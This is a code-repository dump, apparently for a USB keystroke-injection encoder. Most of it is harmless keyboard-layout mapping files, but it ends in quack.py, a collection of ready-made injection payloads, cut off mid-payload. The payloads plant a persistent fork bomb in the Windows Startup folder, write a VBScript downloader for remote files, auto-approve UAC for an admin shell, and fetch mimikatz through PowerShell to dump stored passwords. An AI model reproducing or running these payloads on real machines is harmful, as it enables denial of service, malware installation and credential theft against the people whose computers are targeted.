T 110 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 111 | // 85 U 112 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 113 | // 86 V 114 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 115 | // 87 W 116 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 117 | // 88 X 118 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 119 | // 89 Y 120 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 121 | // 90 Z 122 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 123 | // 91 [ 124 | ASCII_5C = KEY_NON_US_100, MODIFIERKEY_RIGHT_ALT 125 | // 92 126 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 127 | // 93 ] 128 | //ASCII_5E = CIRCUMFLEX_BITS + KEY_SPACE 129 | // 94 ^ 130 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 131 | // 95 _ 132 | //ASCII_60 = GRAVE_ACCENT_BITS + KEY_SPACE 133 | // 96 ` 134 | ASCII_61 = KEY_A 135 | // 97 a 136 | ASCII_62 = KEY_B 137 | // 98 b 138 | ASCII_63 = KEY_C 139 | // 99 c 140 | ASCII_64 = KEY_D 141 | // 100 d 142 | ASCII_65 = KEY_E 143 | // 101 e 144 | ASCII_66 = KEY_F 145 | // 102 f 146 | ASCII_67 = KEY_G 147 | // 103 g 148 | ASCII_68 = KEY_H 149 | // 104 h 150 | ASCII_69 = KEY_I 151 | // 105 i 152 | ASCII_6A = KEY_J 153 | // 106 j 154 | ASCII_6B = KEY_K 155 | // 107 k 156 | ASCII_6C = KEY_L 157 | // 108 l 158 | ASCII_6D = KEY_M 159 | // 109 m 160 | ASCII_6E = KEY_N 161 | // 110 n 162 | ASCII_6F = KEY_O 163 | // 111 o 164 | ASCII_70 = KEY_P 165 | // 112 p 166 | ASCII_71 = KEY_Q 167 | // 113 q 168 | ASCII_72 = KEY_R 169 | // 114 r 170 | ASCII_73 = KEY_S 171 | // 115 s 172 | ASCII_74 = KEY_T 173 | // 116 t 174 | ASCII_75 = KEY_U 175 | // 117 u 176 | ASCII_76 = KEY_V 177 | // 118 v 178 | ASCII_77 = KEY_W 179 | // 119 w 180 | ASCII_78 = KEY_X 181 | // 120 x 182 | ASCII_79 = KEY_Y 183 | // 121 y 184 | ASCII_7A = KEY_Z 185 | // 122 z 186 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 187 | // 123 { 188 | ASCII_7C = KEY_EQUAL, MODIFIERKEY_RIGHT_ALT 189 | // 124 | 190 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 191 | // 125 } 192 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 193 | // 126 ~ (not tested) 194 | ASCII_7F = KEY_BACKSPACE 195 | // 127 196 | 197 | ISO_8859_1_A0 = KEY_SPACE 198 | // 160 Nonbreakng Space 199 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 200 | // 163 £ Pound Sign 201 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 202 | // 164 ¤ Currency Sign 203 | ISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT 204 | // 167 § SECTION SIGN 205 | ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 206 | // 168 ¨ DIAERESIS 207 | ISO_8859_1_AB = KEY_4 208 | // 171 « LEFT DOUBLE ANGLE QUOTE 209 | ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 210 | // 180 ´ ACUTE ACCENT 211 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 212 | // 181 µ MICRO SIGN 213 | ISO_8859_1_BD = KEY_TILDE 214 | // 189 ½ FRACTION ONE HALF 215 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 216 | // 192 À A GRAVE 217 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT 218 | // 193 Á A ACUTE 219 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT 220 | // 194  A CIRCUMFLEX 221 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 222 | // 195 à A TILDE 223 | //ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT 224 | // 196 Ä A DIAERESIS 225 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 226 | // 197 Å A RING ABOVE 227 | ISO_8859_1_C6 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 228 | // 198 Æ AE 229 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 230 | // 200 È E GRAVE 231 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT 232 | // 201 É E ACUTE 233 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT 234 | // 202 Ê E CIRCUMFLEX 235 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT 236 | // 203 Ë E DIAERESIS 237 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 238 | // 204 Ì I GRAVE 239 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT 240 | // 205 Í I ACUTE 241 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT 242 | // 206 Î I CIRCUMFLEX 243 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT 244 | // 207 Ï I DIAERESIS 245 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 246 | // 208 Ð ETH 247 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 248 | // 209 Ñ N TILDE 249 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 250 | // 210 Ò O GRAVE 251 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT 252 | // 211 Ó O ACUTE 253 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT 254 | // 212 Ô O CIRCUMFLEX 255 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 256 | // 213 Õ O TILDE 257 | //ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT 258 | // 214 Ö O DIAERESIS 259 | ISO_8859_1_D8 = KEY_QUOTE, MODIFIERKEY_SHIFT 260 | // 216 Ø O STROKE 261 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 262 | // 217 Ù U GRAVE 263 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT 264 | // 218 Ú U ACUTE 265 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT 266 | // 219 Û U CIRCUMFLEX 267 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT 268 | // 220 Ü U DIAERESIS 269 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT 270 | // 221 Ý Y ACUTE 271 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 272 | // 222 Þ THORN 273 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 274 | // 223 ß SHARP S 275 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 276 | // 224 à a GRAVE 277 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 278 | // 225 á a ACUTE 279 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 280 | // 226 â a CIRCUMFLEX 281 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 282 | // 227 ã a TILDE 283 | //ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A 284 | // 228 ä a DIAERESIS 285 | ISO_8859_1_E5 = KEY_LEFT_BRACE 286 | // 229 å a RING ABOVE 287 | ISO_8859_1_E6 = KEY_SEMICOLON 288 | // 230 æ ae 289 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 290 | // 232 è e GRAVE 291 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 292 | // 233 é e ACUTE 293 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 294 | // 234 ê e CIRCUMFLEX 295 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 296 | // 235 ë e DIAERESIS 297 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 298 | // 236 ì i GRAVE 299 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 300 | // 237 í i ACUTE 301 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 302 | // 238 î i CIRCUMFLEX 303 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 304 | // 239 ï i DIAERESIS 305 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 306 | // 240 ð ETH 307 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 308 | // 241 ñ n TILDE 309 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 310 | // 242 ò o GRAVE 311 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 312 | // 243 ó o ACUTE 313 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 314 | // 244 ô o CIRCUMFLEX 315 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 316 | // 245 õ o TILDE 317 | //ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O 318 | // 246 ö o DIAERESIS 319 | ISO_8859_1_F8 = KEY_QUOTE 320 | // 248 ø o STROKE 321 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 322 | // 249 ù u GRAVE 323 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 324 | // 250 ú u ACUTE 325 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 326 | // 251 û u CIRCUMFLEX 327 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 328 | // 252 ü u DIAERESIS 329 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 330 | // 253 ý y ACUTE 331 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 332 | // 254 þ THORN 333 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 334 | // 255 ÿ y DIAERESIS 335 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 336 | // € Euro Sign 337 | 338 | -------------------------------------------------------------------------------- /Encoder/resources/no.properties: -------------------------------------------------------------------------------- 1 | #ifdef LAYOUT_NORWEGIAN 2 | //Credits go to r.hegazi for patch (11/09/2013) 3 | 4 | KEY_NON_US_100 = 100 5 | 6 | ASCII_20 = KEY_SPACE 7 | // 32 8 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 9 | // 33 ! 10 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 11 | // 34 " 12 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 13 | // 35 # 14 | ASCII_24 = KEY_4, MODIFIERKEY_RIGHT_ALT 15 | // 36 $ 16 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 17 | // 37 % 18 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 19 | // 38 & 20 | ASCII_27 = KEY_BACKSLASH 21 | // 39 ' 22 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 23 | // 40 ( 24 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 25 | // 41 ) 26 | ASCII_2A = KEY_BACKSLASH, MODIFIERKEY_SHIFT 27 | // 42 * 28 | ASCII_2B = KEY_MINUS 29 | // 43 + 30 | ASCII_2C = KEY_COMMA 31 | // 44 , 32 | ASCII_2D = KEY_SLASH 33 | // 45 - 34 | ASCII_2E = KEY_PERIOD 35 | // 46 . 36 | ASCII_2F = KEY_7, MODIFIERKEY_SHIFT 37 | // 47 / 38 | ASCII_30 = KEY_0 39 | // 48 0 40 | ASCII_31 = KEY_1 41 | // 49 1 42 | ASCII_32 = KEY_2 43 | // 50 2 44 | ASCII_33 = KEY_3 45 | // 51 3 46 | ASCII_34 = KEY_4 47 | // 52 4 48 | ASCII_35 = KEY_5 49 | // 53 5 50 | ASCII_36 = KEY_6 51 | // 54 6 52 | ASCII_37 = KEY_7 53 | // 55 7 54 | ASCII_38 = KEY_8 55 | // 55 8 56 | ASCII_39 = KEY_9 57 | // 57 9 58 | ASCII_3A = KEY_PERIOD, MODIFIERKEY_SHIFT 59 | // 58 : 60 | ASCII_3B = KEY_COMMA, MODIFIERKEY_SHIFT 61 | // 59 ; 62 | ASCII_3C = KEY_NON_US_100 63 | // 60 < 64 | ASCII_3D = KEY_0, MODIFIERKEY_SHIFT 65 | // 61 = 66 | ASCII_3E = KEY_NON_US_100, MODIFIERKEY_SHIFT 67 | // 62 > 68 | ASCII_3F = KEY_MINUS, MODIFIERKEY_SHIFT 69 | // 63 ? 70 | ASCII_40 = KEY_2, MODIFIERKEY_RIGHT_ALT 71 | // 64 @ 72 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 73 | // 65 A 74 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 75 | // 66 B 76 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 77 | // 67 C 78 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 79 | // 68 D 80 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 81 | // 69 E 82 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 83 | // 70 F 84 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 85 | // 71 G 86 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 87 | // 72 H 88 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 89 | // 73 I 90 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 91 | // 74 J 92 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 93 | // 75 K 94 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 95 | // 76 L 96 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 97 | // 77 M 98 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 99 | // 78 N 100 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 101 | // 79 O 102 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 103 | // 80 P 104 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 105 | // 81 Q 106 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 107 | // 82 R 108 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 109 | // 83 S 110 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 111 | // 84 T 112 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 113 | // 85 U 114 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 115 | // 86 V 116 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 117 | // 87 W 118 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 119 | // 88 X 120 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 121 | // 89 Y 122 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 123 | // 90 Z 124 | ASCII_5B = KEY_8, MODIFIERKEY_RIGHT_ALT 125 | // 91 [ 126 | ASCII_5C = KEY_EQUAL 127 | // 92 128 | ASCII_5D = KEY_9, MODIFIERKEY_RIGHT_ALT 129 | // 93 ] 130 | ASCII_5E = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 131 | // 94 ^ 132 | ASCII_5F = KEY_SLASH, MODIFIERKEY_SHIFT 133 | // 95 _ 134 | ASCII_60 = KEY_EQUAL, MODIFIERKEY_SHIFT 135 | // 96 ` 136 | ASCII_61 = KEY_A 137 | // 97 a 138 | ASCII_62 = KEY_B 139 | // 98 b 140 | ASCII_63 = KEY_C 141 | // 99 c 142 | ASCII_64 = KEY_D 143 | // 100 d 144 | ASCII_65 = KEY_E 145 | // 101 e 146 | ASCII_66 = KEY_F 147 | // 102 f 148 | ASCII_67 = KEY_G 149 | // 103 g 150 | ASCII_68 = KEY_H 151 | // 104 h 152 | ASCII_69 = KEY_I 153 | // 105 i 154 | ASCII_6A = KEY_J 155 | // 106 j 156 | ASCII_6B = KEY_K 157 | // 107 k 158 | ASCII_6C = KEY_L 159 | // 108 l 160 | ASCII_6D = KEY_M 161 | // 109 m 162 | ASCII_6E = KEY_N 163 | // 110 n 164 | ASCII_6F = KEY_O 165 | // 111 o 166 | ASCII_70 = KEY_P 167 | // 112 p 168 | ASCII_71 = KEY_Q 169 | // 113 q 170 | ASCII_72 = KEY_R 171 | // 114 r 172 | ASCII_73 = KEY_S 173 | // 115 s 174 | ASCII_74 = KEY_T 175 | // 116 t 176 | ASCII_75 = KEY_U 177 | // 117 u 178 | ASCII_76 = KEY_V 179 | // 118 v 180 | ASCII_77 = KEY_W 181 | // 119 w 182 | ASCII_78 = KEY_X 183 | // 120 x 184 | ASCII_79 = KEY_Y 185 | // 121 y 186 | ASCII_7A = KEY_Z 187 | // 122 z 188 | ASCII_7B = KEY_7, MODIFIERKEY_RIGHT_ALT 189 | // 123 { 190 | ASCII_7C = KEY_TILDE 191 | // 124 | 192 | ASCII_7D = KEY_0, MODIFIERKEY_RIGHT_ALT 193 | // 125 } 194 | ASCII_7E = KEY_RIGHT_BRACE, MODIFIERKEY_RIGHT_ALT 195 | // 126 ~ (not tested) 196 | ASCII_7F = KEY_BACKSPACE 197 | // 127 198 | 199 | ISO_8859_1_A0 = KEY_SPACE 200 | // 160 Nonbreakng Space 201 | ISO_8859_1_A3 = KEY_3, MODIFIERKEY_RIGHT_ALT 202 | // 163 £ Pound Sign 203 | ISO_8859_1_A4 = KEY_4, MODIFIERKEY_SHIFT 204 | // 164 ¤ Currency Sign 205 | ISO_8859_1_A7 = KEY_TILDE, MODIFIERKEY_SHIFT 206 | // 167 § SECTION SIGN 207 | //ISO_8859_1_A8 = DIAERESIS_BITS + KEY_SPACE 208 | // 168 ¨ DIAERESIS 209 | ISO_8859_1_AB = KEY_4 210 | // 171 « LEFT DOUBLE ANGLE QUOTE 211 | //ISO_8859_1_B4 = ACUTE_ACCENT_BITS + KEY_SPACE 212 | // 180 ´ ACUTE ACCENT 213 | ISO_8859_1_B5 = KEY_M, MODIFIERKEY_RIGHT_ALT 214 | // 181 µ MICRO SIGN 215 | ISO_8859_1_BD = KEY_TILDE 216 | // 189 ½ FRACTION ONE HALF 217 | //ISO_8859_1_C0 = GRAVE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = 218 | // 192 À A GRAVE 219 | //ISO_8859_1_C1 = ACUTE_ACCENT_BITS + KEY_A, MODIFIERKEY_SHIFT = 220 | // 193 Á A ACUTE 221 | //ISO_8859_1_C2 = CIRCUMFLEX_BITS + KEY_A, MODIFIERKEY_SHIFT = 222 | // 194  A CIRCUMFLEX 223 | //ISO_8859_1_C3 = TILDE_BITS + KEY_A, MODIFIERKEY_SHIFT 224 | // 195 à A TILDE 225 | //ISO_8859_1_C4 = DIAERESIS_BITS + KEY_A, MODIFIERKEY_SHIFT = 226 | // 196 Ä A DIAERESIS 227 | ISO_8859_1_C5 = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 228 | // 197 Å A RING ABOVE 229 | ISO_8859_1_C6 = KEY_QUOTE, MODIFIERKEY_SHIFT 230 | // 198 Æ AE 231 | //ISO_8859_1_C8 = GRAVE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = 232 | // 200 È E GRAVE 233 | //ISO_8859_1_C9 = ACUTE_ACCENT_BITS + KEY_E, MODIFIERKEY_SHIFT = 234 | // 201 É E ACUTE 235 | //ISO_8859_1_CA = CIRCUMFLEX_BITS + KEY_E, MODIFIERKEY_SHIFT = 236 | // 202 Ê E CIRCUMFLEX 237 | //ISO_8859_1_CB = DIAERESIS_BITS + KEY_E, MODIFIERKEY_SHIFT = 238 | // 203 Ë E DIAERESIS 239 | //ISO_8859_1_CC = GRAVE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = 240 | // 204 Ì I GRAVE 241 | //ISO_8859_1_CD = ACUTE_ACCENT_BITS + KEY_I, MODIFIERKEY_SHIFT = 242 | // 205 Í I ACUTE 243 | //ISO_8859_1_CE = CIRCUMFLEX_BITS + KEY_I, MODIFIERKEY_SHIFT = 244 | // 206 Î I CIRCUMFLEX 245 | //ISO_8859_1_CF = DIAERESIS_BITS + KEY_I, MODIFIERKEY_SHIFT = 246 | // 207 Ï I DIAERESIS 247 | //ISO_8859_1_D0 = KEY_D, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 248 | // 208 Ð ETH 249 | //ISO_8859_1_D1 = TILDE_BITS + KEY_N, MODIFIERKEY_SHIFT 250 | // 209 Ñ N TILDE 251 | //ISO_8859_1_D2 = GRAVE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = 252 | // 210 Ò O GRAVE 253 | //ISO_8859_1_D3 = ACUTE_ACCENT_BITS + KEY_O, MODIFIERKEY_SHIFT = 254 | // 211 Ó O ACUTE 255 | //ISO_8859_1_D4 = CIRCUMFLEX_BITS + KEY_O, MODIFIERKEY_SHIFT = 256 | // 212 Ô O CIRCUMFLEX 257 | //ISO_8859_1_D5 = TILDE_BITS + KEY_O, MODIFIERKEY_SHIFT 258 | // 213 Õ O TILDE 259 | //ISO_8859_1_D6 = DIAERESIS_BITS + KEY_O, MODIFIERKEY_SHIFT = 260 | // 214 Ö O DIAERESIS 261 | ISO_8859_1_D8 = KEY_SEMICOLON, MODIFIERKEY_SHIFT 262 | // 216 Ø O STROKE 263 | //ISO_8859_1_D9 = GRAVE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = 264 | // 217 Ù U GRAVE 265 | //ISO_8859_1_DA = ACUTE_ACCENT_BITS + KEY_U, MODIFIERKEY_SHIFT = 266 | // 218 Ú U ACUTE 267 | //ISO_8859_1_DB = CIRCUMFLEX_BITS + KEY_U, MODIFIERKEY_SHIFT = 268 | // 219 Û U CIRCUMFLEX 269 | //ISO_8859_1_DC = DIAERESIS_BITS + KEY_U, MODIFIERKEY_SHIFT = 270 | // 220 Ü U DIAERESIS 271 | //ISO_8859_1_DD = ACUTE_ACCENT_BITS + KEY_Y, MODIFIERKEY_SHIFT = 272 | // 221 Ý Y ACUTE 273 | //ISO_8859_1_DE = KEY_T, MODIFIERKEY_RIGHT_ALT, MODIFIERKEY_SHIFT 274 | // 222 Þ THORN 275 | ISO_8859_1_DF = KEY_S, MODIFIERKEY_RIGHT_ALT 276 | // 223 ß SHARP S 277 | //ISO_8859_1_E0 = GRAVE_ACCENT_BITS + KEY_A 278 | // 224 à a GRAVE 279 | //ISO_8859_1_E1 = ACUTE_ACCENT_BITS + KEY_A 280 | // 225 á a ACUTE 281 | //ISO_8859_1_E2 = CIRCUMFLEX_BITS + KEY_A 282 | // 226 â a CIRCUMFLEX 283 | //ISO_8859_1_E3 = TILDE_BITS + KEY_A 284 | // 227 ã a TILDE 285 | //ISO_8859_1_E4 = DIAERESIS_BITS + KEY_A 286 | // 228 ä a DIAERESIS 287 | ISO_8859_1_E5 = KEY_LEFT_BRACE 288 | // 229 å a RING ABOVE 289 | ISO_8859_1_E6 = KEY_QUOTE 290 | // 230 æ ae 291 | //ISO_8859_1_E8 = GRAVE_ACCENT_BITS + KEY_E 292 | // 232 è e GRAVE 293 | //ISO_8859_1_E9 = ACUTE_ACCENT_BITS + KEY_E 294 | // 233 é e ACUTE 295 | //ISO_8859_1_EA = CIRCUMFLEX_BITS + KEY_E 296 | // 234 ê e CIRCUMFLEX 297 | //ISO_8859_1_EB = DIAERESIS_BITS + KEY_E 298 | // 235 ë e DIAERESIS 299 | //ISO_8859_1_EC = GRAVE_ACCENT_BITS + KEY_I 300 | // 236 ì i GRAVE 301 | //ISO_8859_1_ED = ACUTE_ACCENT_BITS + KEY_I 302 | // 237 í i ACUTE 303 | //ISO_8859_1_EE = CIRCUMFLEX_BITS + KEY_I 304 | // 238 î i CIRCUMFLEX 305 | //ISO_8859_1_EF = DIAERESIS_BITS + KEY_I 306 | // 239 ï i DIAERESIS 307 | ISO_8859_1_F0 = KEY_D, MODIFIERKEY_RIGHT_ALT 308 | // 240 ð ETH 309 | //ISO_8859_1_F1 = TILDE_BITS + KEY_N 310 | // 241 ñ n TILDE 311 | //ISO_8859_1_F2 = GRAVE_ACCENT_BITS + KEY_O 312 | // 242 ò o GRAVE 313 | //ISO_8859_1_F3 = ACUTE_ACCENT_BITS + KEY_O 314 | // 243 ó o ACUTE 315 | //ISO_8859_1_F4 = CIRCUMFLEX_BITS + KEY_O 316 | // 244 ô o CIRCUMFLEX 317 | //ISO_8859_1_F5 = TILDE_BITS + KEY_O 318 | // 245 õ o TILDE 319 | //ISO_8859_1_F6 = DIAERESIS_BITS + KEY_O 320 | // 246 ö o DIAERESIS 321 | ISO_8859_1_F8 = KEY_SEMICOLON 322 | // 248 ø o STROKE 323 | //ISO_8859_1_F9 = GRAVE_ACCENT_BITS + KEY_U 324 | // 249 ù u GRAVE 325 | //ISO_8859_1_FA = ACUTE_ACCENT_BITS + KEY_U 326 | // 250 ú u ACUTE 327 | //ISO_8859_1_FB = CIRCUMFLEX_BITS + KEY_U 328 | // 251 û u CIRCUMFLEX 329 | //ISO_8859_1_FC = DIAERESIS_BITS + KEY_U 330 | // 252 ü u DIAERESIS 331 | //ISO_8859_1_FD = ACUTE_ACCENT_BITS + KEY_Y 332 | // 253 ý y ACUTE 333 | ISO_8859_1_FE = KEY_T, MODIFIERKEY_RIGHT_ALT 334 | // 254 þ THORN 335 | //ISO_8859_1_FF = DIAERESIS_BITS + KEY_Y 336 | // 255 ÿ y DIAERESIS 337 | UNICODE_20AC = KEY_E, MODIFIERKEY_RIGHT_ALT 338 | // € Euro Sign 339 | 340 | -------------------------------------------------------------------------------- /quack.py: -------------------------------------------------------------------------------- 1 | ############## Python Modules ############## 2 | #!/usr/bin/python 3 | import os, sys, platform 4 | from time import sleep 5 | import time 6 | 7 | ############### PAYLOADS ######################## 8 | fork = """CONTROL ESCAPE 9 | DELAY 300 10 | STRING cmd 11 | DELAY 200 12 | MENU 13 | DELAY 100 14 | STRING a 15 | ENTER 16 | DELAY 200 17 | LEFT 18 | ENTER 19 | DELAY 1000 20 | STRING cd %ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup\ 21 | ENTER 22 | STRING copy con a.bat 23 | ENTER 24 | STRING @echo off 25 | ENTER 26 | STRING :START 27 | ENTER 28 | STRING start a.bat 29 | ENTER 30 | STRING GOTO START 31 | ENTER 32 | CONTROL z 33 | ENTER 34 | STRING a.bat 35 | ENTER 36 | ALT F4 37 | """ 38 | download = """DELAY 300 39 | ESCAPE 40 | CONTROL ESCAPE 41 | DELAY 400 42 | STRING cmd 43 | DELAY 400 44 | ENTER 45 | DELAY 400 46 | STRING copy con download.vbs 47 | ENTER 48 | STRING Set args = WScript.Arguments:a = split(args(0), "/")(UBound(split(args(0),"/"))) 49 | ENTER 50 | STRING Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", args(0), false:objXMLHTTP.send() 51 | ENTER 52 | STRING If objXMLHTTP.Status = 200 Then 53 | ENTER 54 | STRING Set objADOStream = CreateObject("ADODB.Stream"):objADOStream.Open 55 | ENTER 56 | STRING objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0 57 | ENTER 58 | STRING Set objFSO = Createobject("Scripting.FileSystemObject"):If objFSO.Fileexists(a) Then objFSO.DeleteFile a 59 | ENTER 60 | STRING objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing 61 | ENTER 62 | STRING End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing 63 | ENTER 64 | CTRL z 65 | ENTER 66 | STRING cscript download.vbs 67 | ENTER 68 | STRING 69 | ENTER 70 | STRING exit 71 | ENTER 72 | """ 73 | helloworld = """DELAY 300 74 | GUI r 75 | DELAY 100 76 | STRING notepad 77 | ENTER 78 | DELAY 100 79 | STRING Hello World!!! 80 | ENTER 81 | """ 82 | admin = """DELAY 1000 83 | REM get a admin cmd prompt 84 | CONTROL ESCAPE 85 | DELAY 300 86 | STRING cmd 87 | DELAY 300 88 | REM the admin part booyah 89 | CTRL-SHIFT ENTER 90 | DELAY 500 91 | ALT y 92 | DELAY 300 93 | ENTER 94 | """ 95 | mimikatz = """REM mimikatz ducky script to dump local wdigest passwords from memory using mimikatz (local user needs to be an administrator/have admin privs) 96 | DELAY 1000 97 | CONTROL ESCAPE 98 | DELAY 500 99 | STRING cmd 100 | DELAY 1000 101 | CTRL-SHIFT ENTER 102 | DELAY 1000 103 | ALT y 104 | DELAY 300 105 | ENTER 106 | STRING powershell (new-object System.Net.WebClient).DownloadFile('http:///mimikatz.exe','%TEMP%\mimikatz.exe') 107 | DELAY 300 108 | ENTER 109 | DELAY 